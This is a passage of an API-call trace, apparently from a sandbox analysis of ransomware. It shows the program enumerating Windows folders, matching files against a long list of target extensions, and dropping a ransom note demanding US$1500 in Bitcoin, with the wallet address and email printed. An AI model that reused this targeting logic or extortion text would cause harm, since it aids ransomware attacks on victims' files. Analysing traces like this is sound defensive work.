pszSpec="*.edb") returned 0 [0100.515] lstrlenA (lpString="*.edb") returned 5 [0100.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.accdb") returned 0 [0100.515] lstrlenA (lpString="*.accdb") returned 7 [0100.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.odb") returned 0 [0100.515] lstrlenA (lpString="*.odb") returned 5 [0100.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.java") returned 0 [0100.516] lstrlenA (lpString="*.java") returned 6 [0100.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.asm") returned 0 [0100.516] lstrlenA (lpString="*.asm") returned 5 [0100.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.pfx") returned 0 [0100.516] lstrlenA (lpString="*.pfx") returned 5 [0100.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.pem") returned 0 [0100.516] lstrlenA (lpString="*.pem") returned 5 [0100.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.p12") returned 0 [0100.516] lstrlenA (lpString="*.p12") returned 5 [0100.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.gpg") returned 0 [0100.516] lstrlenA (lpString="*.gpg") returned 5 [0100.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.vsd") returned 0 [0100.516] lstrlenA (lpString="*.vsd") returned 5 [0100.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.odg") returned 0 [0100.516] lstrlenA (lpString="*.odg") returned 5 [0100.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.raw") returned 0 [0100.516] lstrlenA (lpString="*.raw") returned 5 [0100.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.nef") returned 0 [0100.516] lstrlenA (lpString="*.nef") returned 5 [0100.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.svg") returned 0 [0100.516] lstrlenA (lpString="*.svg") returned 5 [0100.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.psd") returned 0 [0100.516] lstrlenA (lpString="*.psd") returned 5 [0100.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.vmx") returned 0 [0100.517] lstrlenA (lpString="*.vmx") returned 5 [0100.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.vmdk") returned 0 [0100.517] lstrlenA (lpString="*.vmdk") returned 6 [0100.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.vdi") returned 0 [0100.517] lstrlenA (lpString="*.vdi") returned 5 [0100.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.lay6") returned 0 [0100.517] lstrlenA (lpString="*.lay6") returned 6 [0100.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.mpeg") returned 0 [0100.517] lstrlenA (lpString="*.mpeg") returned 6 [0100.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.djvu") returned 0 [0100.517] lstrlenA (lpString="*.djvu") returned 6 [0100.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.tiff") returned 0 [0100.517] lstrlenA (lpString="*.tiff") returned 6 [0100.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.backup") returned 0 [0100.517] lstrlenA (lpString="*.backup") returned 8 [0100.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.pdf") returned 0 [0100.517] lstrlenA (lpString="*.pdf") returned 5 [0100.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.cert") returned 0 [0100.517] lstrlenA (lpString="*.cert") returned 6 [0100.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.docm") returned 0 [0100.517] lstrlenA (lpString="*.docm") returned 6 [0100.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.xlsm") returned 0 [0100.517] lstrlenA (lpString="*.xlsm") returned 6 [0100.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.dwg") returned 0 [0100.517] lstrlenA (lpString="*.dwg") returned 5 [0100.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.nd") returned 0 [0100.518] lstrlenA (lpString="*.nd") returned 4 [0100.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.tlg") returned 0 [0100.518] lstrlenA (lpString="*.tlg") returned 5 [0100.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.lgb") returned 0 [0100.518] lstrlenA (lpString="*.lgb") returned 5 [0100.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.mov") returned 0 [0100.518] lstrlenA (lpString="*.mov") returned 5 [0100.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.xdw") returned 0 [0100.518] lstrlenA (lpString="*.xdw") returned 5 [0100.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.ods") returned 0 [0100.518] lstrlenA (lpString="*.ods") returned 5 [0100.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.wav") returned 0 [0100.518] lstrlenA (lpString="*.wav") returned 5 [0100.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.mp3") returned 0 [0100.518] lstrlenA (lpString="*.mp3") returned 5 [0100.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.aiff") returned 0 [0100.518] lstrlenA (lpString="*.aiff") returned 6 [0100.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.flac") returned 0 [0100.518] lstrlenA (lpString="*.flac") returned 6 [0100.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.m4a") returned 0 [0100.518] lstrlenA (lpString="*.m4a") returned 5 [0100.518] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft_VsaVb\\8.0.0.0__b03f5f7f11d50a3a\\Microsoft_VsaVb.dll", pszSpec="*.csv") returned 0 [0100.518] lstrlenA (lpString="*.csv") returned 5 [0100.518] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfba2078f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfba2078f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa4529c9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft_VsaVb.dll", cAlternateFileName="")) returned 0 [0100.518] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.519] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="800~1.0__")) returned 0 [0100.519] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.519] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="MiguiControls", cAlternateFileName="MIGUIC~1")) returned 1 [0100.519] lstrcmpA (lpString1=".", lpString2="MiguiControls") returned -1 [0100.519] lstrcmpA (lpString1="..", lpString2="MiguiControls") returned -1 [0100.519] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.519] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="MiguiControls" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls") returned="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls" [0100.519] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls") returned 42 [0100.519] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.520] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.520] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd47bc2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd47bc2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.520] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.520] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.520] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc1659862, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1659862, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0__31bf3856ad364e35", cAlternateFileName="100~1.0__")) returned 1 [0100.520] lstrcmpA (lpString1=".", lpString2="1.0.0.0__31bf3856ad364e35") returned -1 [0100.520] lstrcmpA (lpString1="..", lpString2="1.0.0.0__31bf3856ad364e35") returned -1 [0100.520] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\*.*") returned="*.*" [0100.520] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\", lpString2="1.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35" [0100.520] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35") returned 68 [0100.520] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc1659862, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1659862, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.520] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.520] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd47bc2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc1659862, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc1659862, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.520] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.520] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.520] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e4d8b0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e4d8b0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92e99b70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x342000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MIGUIControls.dll", cAlternateFileName="")) returned 1 [0100.521] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.521] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MIGUIControls.dll") returned -1 [0100.521] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MIGUIControls.dll") returned -1 [0100.521] lstrcmpiA (lpString1="", lpString2="MIGUIControls.dll") returned -1 [0100.521] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0100.521] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\" [0100.521] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\") returned="" [0100.521] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.521] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\miguicontrols\\1.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.521] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\miguicontrols\\1.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.522] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.522] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.523] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.524] CloseHandle (hObject=0x90) returned 1 [0100.524] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\", lpString2="MIGUIControls.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll" [0100.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.ems") returned 0 [0100.524] lstrlenA (lpString="*.ems") returned 5 [0100.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.db") returned 0 [0100.524] lstrlenA (lpString="*.db") returned 4 [0100.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.dbf") returned 0 [0100.524] lstrlenA (lpString="*.dbf") returned 5 [0100.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.myox") returned 0 [0100.524] lstrlenA (lpString="*.myox") returned 6 [0100.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.myo") returned 0 [0100.524] lstrlenA (lpString="*.myo") returned 5 [0100.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.qbw") returned 0 [0100.524] lstrlenA (lpString="*.qbw") returned 5 [0100.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.qbb") returned 0 [0100.524] lstrlenA (lpString="*.qbb") returned 5 [0100.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.qbm") returned 0 [0100.524] lstrlenA (lpString="*.qbm") returned 5 [0100.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.qbo") returned 0 [0100.524] lstrlenA (lpString="*.qbo") returned 5 [0100.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.qbx") returned 0 [0100.524] lstrlenA (lpString="*.qbx") returned 5 [0100.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.qba") returned 0 [0100.524] lstrlenA (lpString="*.qba") returned 5 [0100.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.qby") returned 0 [0100.525] lstrlenA (lpString="*.qby") returned 5 [0100.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.qbj") returned 0 [0100.525] lstrlenA (lpString="*.qbj") returned 5 [0100.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.ofx") returned 0 [0100.525] lstrlenA (lpString="*.ofx") returned 5 [0100.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.qif") returned 0 [0100.525] lstrlenA (lpString="*.qif") returned 5 [0100.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.mye") returned 0 [0100.525] lstrlenA (lpString="*.mye") returned 5 [0100.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.mbox") returned 0 [0100.525] lstrlenA (lpString="*.mbox") returned 6 [0100.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.eml") returned 0 [0100.525] lstrlenA (lpString="*.eml") returned 5 [0100.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.pst") returned 0 [0100.525] lstrlenA (lpString="*.pst") returned 5 [0100.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.ost") returned 0 [0100.525] lstrlenA (lpString="*.ost") returned 5 [0100.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.idx") returned 0 [0100.525] lstrlenA (lpString="*.idx") returned 5 [0100.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.dbx") returned 0 [0100.525] lstrlenA (lpString="*.dbx") returned 5 [0100.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.sql") returned 0 [0100.525] lstrlenA (lpString="*.sql") returned 5 [0100.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.mdb") returned 0 [0100.525] lstrlenA (lpString="*.mdb") returned 5 [0100.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MiguiControls\\1.0.0.0__31bf3856ad364e35\\MIGUIControls.dll", pszSpec="*.fdb") returned 0 [0100.526] lstrlenA (lpString="*.fdb") returned 5 [0100.526] PathMatchSpecA 